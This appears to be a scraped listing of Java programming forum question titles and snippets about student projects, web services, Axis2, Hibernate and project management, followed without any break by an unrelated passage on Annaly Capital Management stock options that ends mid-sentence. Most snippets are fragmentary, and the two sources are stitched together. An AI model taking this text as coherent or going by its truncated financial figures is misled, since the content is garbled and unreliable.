framework with two... defines the schema for a message to be sent when
using web services. SOAP
Project
Project How to show Questions randomly so that no two student get the same questions in online examination system project in Java Server Pages...,
Either you can make 3 different tables consisting of different questions. Set
in project
in php.Actually i want to prepare a quiz that stores all questions in the mysql database.am... questions in different test papers with testnames(like test1,test2,test3... question at a time.
although i am inserting all the questions in the test1(testname
CoreJava Project
CoreJava Project Hi Sir,
I need a simple project(using core Java, Swings, JDBC) on core Java... If you have please send to my account
project
project i have to do my final year project
project topic:Weekly Automatic College Timetable Generation System
BRIEF EXPLANATION ABOUT PROJECT
This project takes various inputs from the user such as Teacher List, Course List...
enter 10 integers, store it using array then display them from highest to lowest.
2.enter 10 integers, store it using array then display them from lowest to highest
number to words conversion create a java program
project
project how to make blinking eyes using arc, applet in core java
project
project Write a program to store information of 10 employees and to display of an employee depending upon the employee no given by the user using structure
What is Service-Oriented Architecture?
Service Oriented Architecture or SOA for short is a new architecture... service coordination. Earlier SOA was based on the DCOM or Object Request Brokers (ORBs). Nowadays SOA is based on the Web Services
Parasoft Jtest
for development teams building Java EE, SOA, Web, and other Java applications.
Whether... process that carries forward from project to
project. That is where we save... enterprise applications (such as SOA/Web services and Java EE
applications
Simple Form Controller Example
Example of using Simple Form Controller
Page 2
In this page we... it at Example of using Simple Form Controller
Step 7:
Now we will create a UserValidator.java class inside the project src folder
to validate
simple java search engine
simple java search engine i have already downloaded the project simple java search engine.but i am not able to run it.can anyone help me.i have.... This is needed for every one.
The project is simple search engine, which searches
urgent help for inserting database in a project
urgent help for inserting database in a project I need some urgent... and then the result at the end.I need to add simple database connectivity... String info ="IT QUIZ \n \nINSTRUCTIONS:\nThere are 25 questions in this test
Simple Calculator Application In Java Script
the basics of JavaScript and
create your first JavaScript program.
What is simple Calculator
The objective of this project is learn how to write a simple...
Simple Calculator Application In Java
Script
project with myeclipse - Struts
project with myeclipse Hi,
i want to develop a simple web application using struts and jsp in MyEclipse 5.5.1A.
Pleas help me
Questions and Answers Help
Questions and Answers Help
...
features of the questions posting form
You can ask questions in and provide...-example.html
Ask
Questions | Browse Latest
Questions and Answers
online shopping project
online shopping project sir,
plz can u send me the coding of simple application of online shopping cart project using jsp and servlets which should be run in netbeans without any errors
Service Oriented Architecture
;
Service Oriented Architecture or SOA for short is a new... on each other. There are two types of dependency.
Why
SOA?
SOA is most widely used in the market as it links computational resources
Ask Programming Questions Online
, SOA questions, Hibernate questions, Struts questions, JavaFX questions...Ask Programming Questions Online
... from different fields, who can solve the problem through using their skills
installing axis2
Installing Axis2
Installing Axis2:
Download.../
axis2.
Unzip it into c:\axis2-1.4 folder.
Set
Apache Axis2 - Apache Axis2 Tutorial
.
Apache Axis2 on Tomcat
The Apache Tomcat server can be used to run the Axis2 engine and
deploy the Web... on tomcat server.
Apache Axis2 Hello World Example
Simple application using hibernate
Simple application using hibernate Hi,
How to write a simple application using hibernate in Eclipse IDE?
I would like to to learn:
Process... of the tutorial you will like to learn for creating the simple application using
Developing Simple Web Service
developing web services with Axis2 by
an easy example ?HelloWorldService? and deploying it on the tomcat
web server.
Step 1: Build Axis2 Web...Developing
Simple Web Service
CMS project using JSF
CMS project using JSF Can i use jsf for CMS project..? If yes pls give some guidelines to how to start
Submit project to get developed
This page contains answers to common questions handled by our...
and presented here as questions.
How do I Submit my Project ?
Who can submit a project ?
What type
Project Architecture - Java Interview Questions
Project Architecture i want project architectre diagram and also flow plz explian in layers of the project architecture flow?i want discrpption for this one
Downloading and Installing Apache Axis2
Axis2 on Tomcat
|
Web services technologies |
Installing axis2 eclipse plugin
|
Axis2 Eclipse plugin Tutorial |
Learn WSDL2java utility of Axis2... Using Axis
|
SOA and Web Services |
PHP Web Hosting |
ASP.NET Web Hosting
mini project using eclipse
mini project using eclipse please send me the steps to design online examination system using eclipse,,,,b fast
SMS sending questions using java - MobileApplications
SMS sending questions using java am doing project sending SMS from... bulk SMS.am using mobile phone for sending SMS.is it possible sending bulk SMS or not.how can we send bulk SMS? am using some AT command for sending SMS .am
Final Project - Java Beginners
in programming is paramount in being successful in the business industry. This project..., but it is suggested that you begin working on the final project assignment in Week 5, which should give you ample time to complete the project. You will find that all
How to insert and retrieve Questions with special symbols and images into database in an ONLINE EXAMINATION project?
How to insert and retrieve Questions with special symbols and images into database in an ONLINE EXAMINATION project? Hi guys. I am developing an online examination application. I am using JSP,MYSQL and ECLIPSE .The problem
Ask Questions
;
Jee Questions
Web Services Questions
SOA Questions...
Ask Questions
... Question’. Using this new service, our visitors can ask any sort of question
Axis2 client - Axis2 Client example
Axis2 client - Axis2 Client example
Apache Axis2 Client code
In this section we will develop client code example... Axis 2 engine, we
instructed you to download the binary version of Apache Axis2
Project Management Tools
not require heavy expenses of expensive software but this can simple be done using... in every type of project whether it be a simple or complex one.
However... very simple through the availability of various project management softwares
Java Project Questions - Java Beginners
Java Project Questions Hello sir ,I want Course Form in JAVA SWING that includes following contents-
1)Course Id -Numeric
2)Course NAME-TEXT
3)Course Duration-NUMBERS
4)Course Fees-NUMBERS
I want to to add,Update,
Hibernate 4 Simple Example
Hibernate 4 Simple Example
This section contains a simple Hibernate 4 example using Annotation with source
code. The eclipse id and Apache Tomcat is used... ().
The project hierarchy is given below :
The jar file used in this example is given
Project Management Methodologies
on simple and well-defined processes that understand the need of the project...The basic objective behind a project management is to achieve the defined set of objectives and goals for a project in a definite time frame within
Java Project Questions - Java Beginners
Java Project Questions Hello sir ,I want Course Form in JAVA SWING... java.awt.event.*;
import java.sql.*;
import java.util.*;
class Project {
JFrame f... ;
Project(){
f=new JFrame("Form");
p1=new JPanel(new GridLayout(5,2));
p2=new
Java Project Questions - Java Beginners
Java Project Questions Hello sir ,I want Course Form in JAVA SWING...*;
import java.sql.*;
import java.util.*;
class Project {
JFrame f...;
JScrollPane sp1;
JButton savebtn,resetbtn,editbtn1,editbtn2,deletebtn ;
Project
Building a Simple EJB Application Tutorial
EJB and a client web application
using eclipse IDE along with Lomboz
plug... create a new Session Bean from the Project Explorer (EJB Projects ->
Simple EJB...Building a Simple EJB Application - A Tutorial
Project Scope Management
with answering the questions: What is required for the project and what not?
An effective... of the project using it as criteria for determining whether the project has been...Project Scope Management includes the processes and the procedures
simple query
simple query Write a stored procedure to retrieve a column which are less then or equal to that column using if statement
Simple banking system using Java
Simple banking system using Java I am trying to make a simple... and the other is the branch, the third interface is the main class. Using inheritance the branch is supposed to inherit the activities of the main office...using
Project Communications Management
to the customers most effectively
File data using the Project Development Uniform... cycle and should be revised as per the need and project change.
The questions...Project communication is a two way process of exchange of information related
Ask XML Questions
Ask XML Questions
... is an extremely simple dialect of Standard Generalized Markup Language (SGML). XML is a simple, very flexible text format used in creating structured computer
Using database - Java Server Faces Questions
Using database Sorry,Actually I ant the project to register the personl details using mysql database and access by loging the user name and password in jsf,can you send me please? My dear,
You go the following url
requeting project
requeting project project sir
sir please help me to develop this project, The main objective of this project is to implement a computer... certain diseases by answering certain questions asked by the system. Based
project query
project query I am doing project in java using eclipse..My project is a web related one.In this how to set sms alert using Jsp code. pls help me
JSF Simple question - Java Server Faces Questions
JSF Simple question I have h:dataTable (with 10 position)
i need write simple jsf file that represent only 5 position and on another page last 5 position .
How can i proceed from first page to second
Project Cost Management
that uses the project characteristics or parameters for cost estimation using...Project cost management (PCM) is the method of measuring the cost and productivity of the project with the help of various tools and techniques.
Project
Need Project
Need Project How to develop School management project by using Struts Framework? Please give me suggestion and sample examples for my project
hibernate 3.5 maven
In this section, you will learn how to a generate simple java Hibernate 3.5 project using Maven project builder
hibernate maven
In this section, you will learn how to a generate simple java Hibernate project using Maven project builder
project security tool - Java Interview Questions
project security tool what are the security tools are available for online money transactions(through credit/debit cards)in the project?
mean my project is insurance project,payments are through on line
for this process we
Java Project
Java Project Java project using with collection and generic with observer design pattern
Software Questions and Answers
is project build management
tool.
IDE Questions - Discuss...Software Questions and Answers
View Software Questions and Answers online
Discuss Software development questions, ask your questions and get answers
questions
minimum of 3 nos using nested if else.
4. write a program to check whether... of a student out of 100 and print grades using else .... if ladder
Q. 2...
a. write a program to copy one array to another array using System.arrayCopy() method
Project Procurement Management
the project needs. The questions that are to be kept while procurement...Project Procurement Management is the effective acquisition of goods...
for the organization in context to a project. In addition to that project
simple - JDBC
/popup-window-using-ajax-in-jsp.shtml
It will be helpful for you.
Thanks
Software Questions and Answers
://
View latest Questions...Software Questions and Answers
View Software Questions and Answers online
Discuss Software
Jsp Project
project using jsp and servlet.. and i am interested in doing cloud computing related project...
Thanks in Advance... main project for completing my acadamic project as well as i need to improve my
want a project
want a project i want to make project in java on railway reservation using applets and servlets and ms access as database..please provide me code and how i can compile and run
regarding project
regarding project OBJECTIVES OF THIS PROJECT:
-Ability to test....
-Ability of the programmer to ask the right questions and get... and come up with combined solution quickly.
PROJECT NAME: DID I WRITE A GOOD JAVA
regarding project
regarding project OBJECTIVES OF THIS PROJECT:
-Ability to test....
-Ability of the programmer to ask the right questions and get the relevant... solution quickly.
PROJECT NAME: DID I WRITE A GOOD JAVA PROGRAM?(JAVA/MVC/UI
regarding project
regarding project sir we need help about project. we have idea about his project please guide me sir.
OBJECTIVES OF THIS PROJECT:
-Ability... requirement.
-Ability of the programmer to ask the right questions and get
thin-client project - Java Interview Questions
thin-client project what is thin-client project??? Plz help me Hi Friend,
Please visit the following link:
Hope that it will be helpful for you
using xml and html in xcode project
using xml and html in xcode project i want to use xml file and html in xcode instead of plist how can i do
Apache axis2 installation
Apache axis2 installation I have installed Apache tomcat for **axis2** Installation. But the downloaded tomcat 7.0 exe bin file, it can have... to recover this problem in Apache tomcat
How to access the image file from project folder itself while writing to pdf using itext?
accomplish this.I am using simple java program to write the pdf.Not a servlet.Thanks...How to access the image file from project folder itself while writing to pdf using itext? I am writing a pdf using itext where i add a image
JAVA project
JAVA project How to extract tags and their corresponding properties of a "cascading style sheet" file using JAVA
java project
java project Connecting to MySQL database and retrieving and displaying data in JSP page by using netbeans | http://www.roseindia.net/tutorialhelp/comment/93594 | CC-MAIN-2014-10 | refinedweb | 2,866 | 54.22 |
Microsoft’s newest OSs, the Windows XP client and the .Net server family, include a number of improvements that take advantage of current and future technologies in order to make life easier for users and administrators.
One such improvement available in both OSs is built-in support for Internet Protocol version 6 (IPv6), also referred to as the next generation IP or IPng. This version of IP provides several advancements over the most-used IP version, IPv4. In this article, I'll give a brief overview of IPv6, discuss the features of Microsoft’s implementation, and show you how to install and configure the protocol as supported by XP and .Net.
What is it and why is it needed?
The global Internet and most medium-to-large private networks run on the TCP/IP protocol stack. The half of that team that works at the network layer is the Internet Protocol (IP).
The currently most-used version of IP, IPv4, is based on the assignment to each network interface of a 32-bit address, usually denoted in “dotted quad” decimal format; for example: 192.168.1.1.
The binary address
The decimal number 192.168.1.1 actually represents the binary address 11000000.10101000.00000001.00000001, but the decimal equivalent is generally easier for people to work with. Computers, of course, process all data in binary format.
As more and more nodes have joined the global network over the years, a flaw in IPv4 has become apparent. For IP addressing to work, every network device must have a unique address. When IPv4 was developed, the 32-bit address space provided more than enough unique addresses. However, today, the world is running out of available IP addresses.
Workaround for the address shortage
One way of dealing with this shortage of IP addresses is for private networks that connect to the Internet to use Network Address Translation (NAT). With NAT, one or a few public IP addresses that are visible to the Internet can be used to connect a large number of computers to the Internet.
NAT has some drawbacks, though. One of the most serious in today’s security-conscious environment is the fact that the IPSecurity protocol (IPSec) does not work through an address translator. Also, there are a number of application programs that will not work with NAT.
NAT is a stopgap solution, not a permanent one. The number of computers and other devices connected to the Internet continues to grow at an amazing rate. Larger address space—which will allow for more addresses—is needed. That’s where IPv6 comes in.
What about IPv5?
IPv5 never existed. The version number "5" in the IP header was assigned to identify packets carrying an experimental, non-IP, real-time stream protocol called ST. ST was never widely used, but since the version number five had already been allocated, the new version of IP was given the number six. ST is described in RFC 1819.
Advantages of IPv6
IPv6 provides for a 128-bit address space, which will exponentially increase the number of available public IP addresses. However, IPv6 offers other improvements over IPv4:
- It supports IPSec, for better security when sending data across a TCP/IP network.
- It supports Quality of Service (QoS), for better transmission of real time, high-bandwidth applications such as videoconferencing and voice over IP.
- It is more efficient; header overhead is minimized, and backbone routers require smaller routing tables.
- Configuration is easier; both stateful addressing (where addresses are automatically assigned by a DHCP server) and stateless addressing (use of local-link autoconfiguration without DHCP) are supported.
Denoting IPv6 addresses
While IPv4 addresses are traditionally denoted in decimal format, the longer and more complex IPv6 addresses are expressed in hexadecimal format. A sample IPv6 address looks like this: 21DA:00D3:0000:2F3B:02AA:00FF:FE28:9C5A.
Each hexadecimal number, separated by colons, represents 16 bits (binary digits). Zeros at the beginning of a block can be omitted to simplify the address.
Characteristics of IPv6 addressing
Unlike those on IPv4 networks, computers on IPv6 networks generally have more than one IP address assigned to a single network interface. This is called logical multihoming.
IPv6 addresses fall into the following categories:
- Unicast addresses, which are used to identify an individual network interface
- Multicast addresses, which identify a group of network interfaces for simultaneously sending to many interfaces
- Anycast addresses, which identify multiple interfaces but send the packet only to the nearest interface
Features of Microsoft's IPv6
IPv6 is an Internet standard, developed by the Internet Engineering Task Force (IETF). Microsoft’s implementation of IPv6 is based on these standards. Various aspects of IPv6 are laid out in a number of Request for Comment pages (RFCs), which are available on the IETF Web site. The IPv6 specification is contained in RFC 2460.
Microsoft’s IPv6 for Windows XP and .NET Server includes many useful features. Some of these include:
- 4to6 and 4over6 tunneling for interoperability between IPv4 and IPv6 networks.
- Anonymous global addresses for privacy when connected to the Internet.
- Support for DNS name resolution using IPv4 DNS servers.
- The ability to act as a static IPv6 router to forward IPv6 packets between two installed network interfaces.
- Internet Explorer version 6 (included in Windows XP and .NET Server) and the telnet and FTP client programs included with the new Microsoft operating systems support IPv6 for connection to IPv6-enabled FTP, telnet, and Web servers.
IPv6 and IE 6 proxy servers
If IE 6 is configured to use a proxy server, you will not be able to access IPv6 Web sites unless the proxy server is IPv6 enabled.
For the most up-to-date information about IPv6, see Microsoft’s IPv6 support site.
IPv6 name resolution
For users to use “friendly names” (for example, URLs such as) instead of IP addresses for communicating on a network, there must be a mechanism by which the names are resolved (or matched) to their corresponding IP addresses, because computers process information in numerical form.
Hosts on the IPv6 network can be identified by nicknames (host names that use a flat namespace) or by hierarchical domain names. Name resolution is performed by the same methods used to resolve the name of IPv4 hosts. It can be either:
- A HOSTS file stored in the systemroot\System32\Drivers\Etc directory on each computer’s hard disk with the addresses expressed in hexadecimal notation, as described previously.
- A DNS server that has mapping records for IPv6 addresses. Because the DNS queries are sent using IPv4, the address of the DNS server entered in the computer’s TCP/IP properties configuration must be an IPv4 address.
How to install IPv6
IPv6 is installed as a networking protocol. The IPv6 command-line utility is used to install the protocol on an XP or .Net computer.
Follow this procedure to install IPv6:
- Click Start | Run.
- In the Run box, type ipv6 install.
Note that you cannot tell if IPv6 has been installed by checking the networking protocols on the properties sheet for the network interface because it will not be listed there.
To find out whether IPv6 is installed, use the ipv6 if command. If IPv6 is installed, this will display a list of IPv6 addresses assigned to each interface. Note, to uninstall IPv6, use the ipv6 uninstall command.
How to configure IPv6
To configure an IPv6 address manually, you must first know the interface index for the interface you want to configure. This is a number that represents the interface. You can find this out using the ipv6 if command as described above.
At the command line, enter the following:
ipv6 adu <interface index number>/<address you want to assign>
There are a number of attributes you can configure for each interface, using various switches with the ipv6 command.
For example, if you want the packets received on the interface to be forwarded, use the /forwards switch. To turn off forwarding, use the /-forwards switch.
You can also set the maximum transmission unit (MTU) size (with the /mtu switch), enable or disable router advertisements on the interface (the /advertises or /-advertises switches), or configure a site identifier (the /site switch).
IPv6 diagnostic utilities
Most TCP/IP network administrators are familiar with the use of the ping utility to test connectivity on an IPv4 network. You can perform the same type of test on an IPv6 network with the ping6 utility.
The familiar tracert command also has an IPv6 counterpart, appropriately named tracert6, which is used to trace the routes of IPv6 packets.
Currently supported applications
The majority of applications supporting IPv6 belong to the Linux/UNIX space. As of this writing, that list looks like:
Chat software
- UNIX IRC chat application—This is the first IPv6 version of this popular IRC client.
- RAT and SDR—These two utilities—the audio tool, RAT, and session directory tool, SDR—are used in conferencing for an IPv6 network.
DNS
- BIND 9.2.0—The new version of BIND uses A6 records to map a domain name to an IPv6 address and offers IPv6 transport of packets.
- Totd—This lightweight DNS proxy nameserver supports IPv6.
- IPv6 transport for BIND 8—A patch for BIND 8.2.3 that helps resolvers talk to nameservers using IPv6
Firewalls
- IPFilter—Download this software package that supports IPv6 filtering.
- IPFW—This IPv6-aware IPFW tool is included within the FreeBSD 4.0 release
FTP
- LFTP—This FTP client supports IPv6.
- NcFTP (Windows)—This is a robust IPv6 FTP client for Windows.
- NcFTP (BSD)—This is a robust IPv6 FTP client for BSD.
Games
IPsec
- IPv6 FreeS/WAN for Linux—Download this prototype IPsec implementation that was developed by IABG as part of the 6INIT project.
- IPv6 IPsec in KAME—KAME IPv6 supports IPsec with Racoon.
- Exim—This mail transfer agent offers built-in IPv6 support.
- Qmail—IPv6 support is available through the v1.03 patch by Kazunori Fujiwara.
- Public Sendmail—Version 8.10 of this mail product officially supports IPv6.
- WIDE Sendmail—Version 8.9.1 of this popular Sendmail tool supports IPv6.
- Fetchmail—This mail utility supports both IPv6 and IPsec.
Mobile IPv6
Monitoring tools
- ASpath-tree—Use this tool on an IPv6 site to monitor BGP4+ routing.
- COLD—Download this free IPv6-aware packet sniffer.
News
- INN v2.3.2—Download this IPv6 patch from the Japanese NORTH site.
- IPv6 socket 1.1—Here's a simple and useful example of Advanced Socket API programming that's IPv6 aware.
Web servers and clients
- Apache (Linux)—This release of the Apache Web server for Linux has built-in IPv6 support.
- Apache (BSD)—The Apache Web server for BSD offers built-in IPv6 support.
- Apache 2.0.x—This beta code of Apache 2.0 supports IPv6.. | http://www.techrepublic.com/article/ipv6-a-larger-more-secure-net/ | CC-MAIN-2017-34 | refinedweb | 1,791 | 56.15 |
Some Bad News and Some Good News
Michael Howard
Secure Windows Initiative
October 21, 2002
Summary: Michael Howard discusses the finer points of scrubbing secret data from memory, as well as expounding on mitigating cross-site scripting issues using the HttpOnly cookie extension. (8 printed pages)
People are so predictable! If you ever said to me, "I have some good news, and I have some bad news, which do you want first?" I always opt for the bad news first. I think it's because I'm an eternal optimist and I figure that if you give me the good news last, it'll temper the bad news.
So, here's the bad news first.
The Bad News: Scrubbing Secrets in Memory
It's generally considered good practice to remove secret data from memory when it's no longer needed, which helps reduce the chance that sensitive data will find its way into a page file or a crash dump file. Take a look at the code below, compiled with Microsoft Visual C++® .NET, and see if you can you find the flaw?
I'll give you a tip—there's nothing wrong with the code. It's written as you would expect. The user's password is retrieved (how it is retrieved doesn't matter for this example), and then some sensitive operation is performed using the password. Once the task is completed, all bytes in the password are scrubbed.
The problem is not in the code, but rather in the compiled code. Take a look at the assembly output from this function. I've cleaned it up a little to remove the unnecessary stuff and make it readable.
?DoStuff PROC NEAR ; Line 14 sub esp, 68 ; 00000044H mov eax, DWORD PTR ___security_cookie xor eax, DWORD PTR __$ReturnAddr$[esp+64] push esi mov DWORD PTR __$ArrayPad$[esp+72], eax ; Line 19 lea eax, DWORD PTR _pPwd$[esp+72] push 64 ; 00000040H push eax xor esi, esi call ?GetPassword add esp, 8 test eax, eax je SHORT $L30117 ; Line 20 push 64 ; 00000040H lea ecx, DWORD PTR _pPwd$[esp+76] push ecx call ?DoSecretStuff add esp, 8 pop esi ; Line 25 mov ecx, DWORD PTR __$ArrayPad$[esp+68] xor ecx, DWORD PTR __$ReturnAddr$[esp+64] add esp, 68 ; 00000044H jmp @__security_check_cookie@4 $L30117: mov ecx, DWORD PTR __$ArrayPad$[esp+72] xor ecx, DWORD PTR __$ReturnAddr$[esp+68] mov eax, esi pop esi add esp, 68 ; 00000044H jmp @__security_check_cookie@4 ?DoStuff ENDP
Focus on the code between lines 19 and 25. The rest is function prolog and epilog code setting up and tearing down the stack frame, as well as determining if there has been a stack-based buffer overrun. Is something missing? Where's the call to memset? The optimizer has removed it! Now before you run into the streets shouting out that this is a bug in the optimizer, it's not. The optimizer is doing its job. It realizes the local buffer variable pPwd is written to, but never read from again, so it simply removes the function call that manipulates it. It's classic dead store removal, and I have witnessed this optimization in many C and C++ compilers, including offerings from Microsoft, Borland, and GNU.
Since we don't want secrets floating around in memory, let's take a look at some solutions.
- Touch the secret data after the call to memset.
- Replace memset with code that is not optimized out.
- Turn off optimizations for this code.
Touch the Secret Data After the Call to Memset
Touching the secret data is easy to do. You simply add a line of code to the function to read the data in memory, but be wary of the optimizer again. You can fool the optimizer by casting the pointer to a volatile pointer because volatile pointers can be manipulated outside the scope of the application they are not optimized out by the compiler.
Changing the last part of the code to that shown below will keep the optimizer at bay:
Replace Memset with Code That Is Not Optimized Out
When this issue was discovered during the Windows Security Push, a new version of ZeroMemory (a wrapper over memset) was written that is not optimized out, and it's available in newer versions of WinBase.h. If you don't have the updated Platform SDK, here's what the code looks like (it's nothing more than inline code):
This code uses the volatile trick to prevent the compiler from optimizing out the code. Do not simply replace all calls to ZeroMemory or memset with this code; this code is much slower. Find where you are dealing with secret or sensitive data in your code and scrub that data with SecureZeroMemory.
Turn Off Optimizations for this Code
The problem with the previous two examples is that they only work well today. The optimizer developers are always looking at ways to squeeze that last ounce of size and speed from your code, and who knows, three years from now, there may be a way to optimize volatile pointer code safely. A clean way to solve the issue is to create one source code file that contains the functions that scrub data and turn off optimizations for that file. A simple way to achieve this in Visual C++ is to add the following line at the start of the file:
This will turn off global optimizations for this file until the compiler detects a different #pragma optimize directive in the file. Global optimizations, -Og (implied by –Ox, -O1 and –O2), are what Visual C++ uses to remove dead stores. However, remember, global optimizations are a good thing, so keep the code in this file to a minimum.
You can also place
optimize("",off) and
optimize("",on) around the function calls in question.
Enough of the bad news; let's look at the good news.
The Good News: Mitigating Cross-Site Scripting Issues
During the Windows Security Push a number of us got together to discuss ways of mitigating attacks, or at least reducing the chance of attack, and the potential for damage if an attack were to occur. One hot topic was cross-site scripting attacks (XSS). I'm not going to outline XSS issues here, but if you are not aware of what they are you should read When Output Turns Bad: Cross-Site Scripting Explained.
I've heard many discussions, okay arguments, where the server guys point the finger at the browser guys saying, "You shouldn't execute script code like this," and the browser guys shooting back, "Well, you should only give us well-formed output." And on and on it goes, and the problem never gets solved. Frankly, I don't care to lay blame. It's our collective clients at risk, so we should all pitch in to fix the issue. If all the time and energy spent pointing fingers and accusing people were spent fixing issues, I wouldn't need this column and Writing Secure Code wouldn't be on anyone's bookshelf.:
Note, the HttpOnly attribute is not case sensitive.
You can set the HttpOnly option by updating ASP and ASP.NET pages with constructs such as:
And:
Or you can create an ISAPI filter that performs the task automatically for all outbound cookies with the following code:
#include <windows.h> #include <httpfilt.h> #include "tchar.h" #include "strsafe.h" // Portion of HttpOnly DWORD WINAPI HttpFilterProc( PHTTP_FILTER_CONTEXT pfc, DWORD dwNotificationType, LPVOID pvNotification) { // Hard coded cookie length (2k bytes) CHAR szCookie[2048]; DWORD cbCookieOriginal = sizeof(szCookie) / sizeof(szCookie[0]); DWORD cbCookie = cbCookieOriginal; HTTP_FILTER_SEND_RESPONSE *pResponse = (HTTP_FILTER_SEND_RESPONSE*)pvNotification; CHAR *szHeader = "Set-Cookie:"; CHAR *szHttpOnly = "; HttpOnly"; if (pResponse->GetHeader(pfc,szHeader,szCookie,&cbCookie)) { if (SUCCEEDED(StringCchCat(szCookie, cbCookieOriginal, szHttpOnly))) { if (!pResponse->SetHeader(pfc, szHeader, szCookie)) { // Fail securely - send no cookie! pResponse->SetHeader(pfc,szHeader,""); } } else { pResponse->SetHeader(pfc,szHeader,""); } } return SF_STATUS_REQ_NEXT_NOTIFICATION; }
I know you know this, but I'll say it anyway—this does not solve the XSS issue! It only mitigates some vulnerabilities and it is not a replacement for good server-side programming techniques.
A Plea to Other Browser Vendors
We urge other browser vendors to adopt the HttpOnly cookie extension, not just Internet Explorer, as this provides a degree of protection to our collective customers using a fairly low-tech approach. I say this because there is no way we can expect all server applications to be fixed any time soon, and HttpOnly is a reasonable effective solution to a tricky problem.
Spot the Security Flaw
I think everyone spotted the bug in the last article. It was a buffer overrun, but a little different from the usual vulnerability. Rather than using a buffer copying function, such as mempy or strcpy, this code allows the attacker to write data anywhere in memory based on the variables index and
d.
Now to this month's flaw. This code is from a service that runs as SYSTEM, and it makes file-based requests on behalf of its users.
bool WritePipeDataToFile(HANDLE hPipe) { bool fDataWritten = false; ImpersonateNamedPipeClient(hPipe); HANDLE hFile = CreateFile(...); if (hFile != INVALID_HANDLE_VALUE) { BYTE buff[1024]; DWORD cbRead = 0; if (ReadFile(hPipe, buff, sizeof(buff), &cbRead, NULL)) { DWORD cbWritten = 0; if (WriteFile(hFile, buff, cbRead, &cbWritten, NULL)) { if (cbRead == cbWritten) fDataWritten = true; } } if (hFile) CloseHandle(hFile); } RevertToSelf(); return fDataWritten; }." | http://msdn.microsoft.com/en-us/library/ms972826.aspx | CC-MAIN-2013-20 | refinedweb | 1,557 | 60.04 |
Contents Share Twitter Facebook Google+ Hacker News Share Twitter Facebook Google+ Hacker News × Sign up for our newsletter. You must change your password now and login again! The exclude option in configuration file (.conf) might influence the result, but if the command line option --disableexcludes is used, it ensure that all installed packages will be listed. Setting Up an .ldaprc File We have been specifying the connection information mainly on the command line so far. have a peek here
The repo label for the repository is specified by
Current Password: New password: Retype new password: passwd: all authentication tokens updated successfully. Check if the DNS servers in /etc/resolv.conf are correct. Enable ICMP blocks in a zone firewall-cmd [--zone=
After creating rules for use with the services stop firewalld and start the iptables and ip6tables services: systemctl stop firewalld.service systemctl start iptables.service systemctl start ip6tables.service What is a zone? Home Forums Posting Rules Linux Help & Resources Fedora Set-Up Guides Fedora Magazine Ask Fedora Fedora Project Fedora Project Links The Fedora Project Get Fedora F23 Release Notes F24 Release Notes Repolist Command¶ dnf [options] repolist [--enabled|--disabled|--all] Depending on the exact command, lists enabled, disabled or all known repositories. The Namespace Cannot Be Queried. The Device Is Not Ready For Use You can install and use system-config-firewall to create rules with the services though.
The most generic type of authentication that a client can use is an "anonymous" bind. The Namespace Cannot Be Queried Element Not Found Other clients may provide a more usable interface to your LDAP system for day-to-day management, but these tools can help you learn the ropes and provide good low-level access to the Could not complete the command successfully. Assorted common SSSD authentication problems How do I enable LDAP authentication over an unsecure connection?
Updates dependencies as necessary. dnf [options] upgrade
By default, if multiple versions of the selected package exist in the repo, the most recent version suitable for the given operation is used. Setting this # value to 0 turns this feature off (default) # entry_cache_timeout = 600 # entry_cache_nowait_timeout = 300 [pam] reconnection_retries = 3 # Example LOCAL domain that stores all users The Namespace Cannot Be Queried Enable debugging by putting debug_level=6 (or higher) into the [nss] section. The Namespace Cannot Be Queried. A Directory Service Error Has Occurred The name can be left off if the server is located on the same machine and the port can be left off if the server is running on the default port
Using ldapmodify and Variations to Change or Create LDAP Entries So far, we have focused exclusively on the ldapsearch command, which is useful for looking up, searching, and displaying entries and navigate here This is a form of address translation. I've tried to set ldap_id_mapping = false to true but the request is completed with a ((null=*)) AND condition => so it fails each time I've already spent 5 days and After restart or stop of the service or a system reboot, these options will be gone. The Namespace Cannot Be Queried Access Is Denied
See Direct options for more information on direct rules. firewall-cmd [--zone=
Optionally netfilter helper modules can be added and also a IPv4 and IPv6 destination address. Dfs Element Not Found Thus, if the DFS namespace configuration data stored in these locations is not in sync, is missing or inaccessible, you may be unable to manage the namespace, in addition to be Mark Command¶ dnf mark install
Many LDAP solutions no longer support LDAP URLs for requesting resources, so their use may be limited depending on the software you are using. Please take a look at our code boxes. This is done in the ifcfg-post script only. The Namespaces On Domain Cannot Be Enumerated Access Is Denied Repoinfo Command¶ This command is alias for repolist command that provides more detailed information like dnf repolist -v.
Provides more detailed information when -v option is used. dnf [options] group remove
For some use cases it might not be good to terminate the connection: Enabling of a firewall service for a limited time to establish a persistent external connection. Prerequisites To get started, you should have access to a system with OpenLDAP installed and configured. We should also make sure that when errors are ignored, we don't treat the result as "entry not found" and delete cached entries. #1349 Primary group IDs from remote domains must The last form is last-
If no value is given it prints the current value. repo [list|enable|disable] [repo-id] list: list repositories and their status enable: enable repository disable: disable repository transaction | http://gsbook.org/not-be/fedora-the-group-could-not-be-queried.php | CC-MAIN-2018-17 | refinedweb | 778 | 50.77 |
After much experimenting (I am a novice), I found a way to send the results of a FileName.exe to a printer.
I'm using Borland C++ 4.0 and WIN98. I tried to duplicate the
printer routine using Borland Turbo C++ 3.1 with no success.
The test program:
/* Print2 printer test */
#include <stdio.h>
FILE *prnt;
main()
{
prnt = fopen("LPT1", "w");
fprintf(prnt, "This is a PRINTER test!!!!!\n");
fclose(prnt);
return(0);
}
I selected the Target Type as "Application.exe". And the Platform as "DOS Standard".
I compiled using Project/Make all. When I tried Project/Compile,
the printer would not actvate.
I saved the program and closed all windows. At the MS DOS
prompt, I typed; C:\bc4\bin\FileName.exe and hit Enter.
The Printer activated and produced the desired output.
One problem. Something in the code is causing the printer to take a long time to spit out a copy. But I can manually speed up the output by pressing the paper feed button. The printer functions normally during other operations.
Anybody have a suggestion for a code modification that would speed up the printer???
Thanks for prior help and for any additional help... | http://cboard.cprogramming.com/c-programming/22963-success-output-printer-printable-thread.html | CC-MAIN-2014-15 | refinedweb | 200 | 71.1 |
Annaly Capital Management (Symbol:
NLY). So this week we highlight one interesting put contract, and
one interesting call contract, from the July expiration for NLY.
The put contract our YieldBoost algorithm identified as
particularly interesting, is at the $9 strike, which has a bid at
the time of this writing of 18 cents. Collecting that bid as the
premium represents a 2% return against the $9 commitment, or a 4.4%
annualized rate of return (at Stock Options Channel we call this
the
YieldBoost
).
Turning to the other side of the option chain, we highlight one
call contract of particular interest for the July expiration, for
shareholders of Annaly Capital Management Inc (Symbol: NLY) looking
to boost their income beyond the stock's 11% annualized dividend
yield. Selling the covered call at the $11 strike and collecting
the premium based on the 42 cents bid, annualizes to an additional
8.5% rate of return against the current stock price (this is what
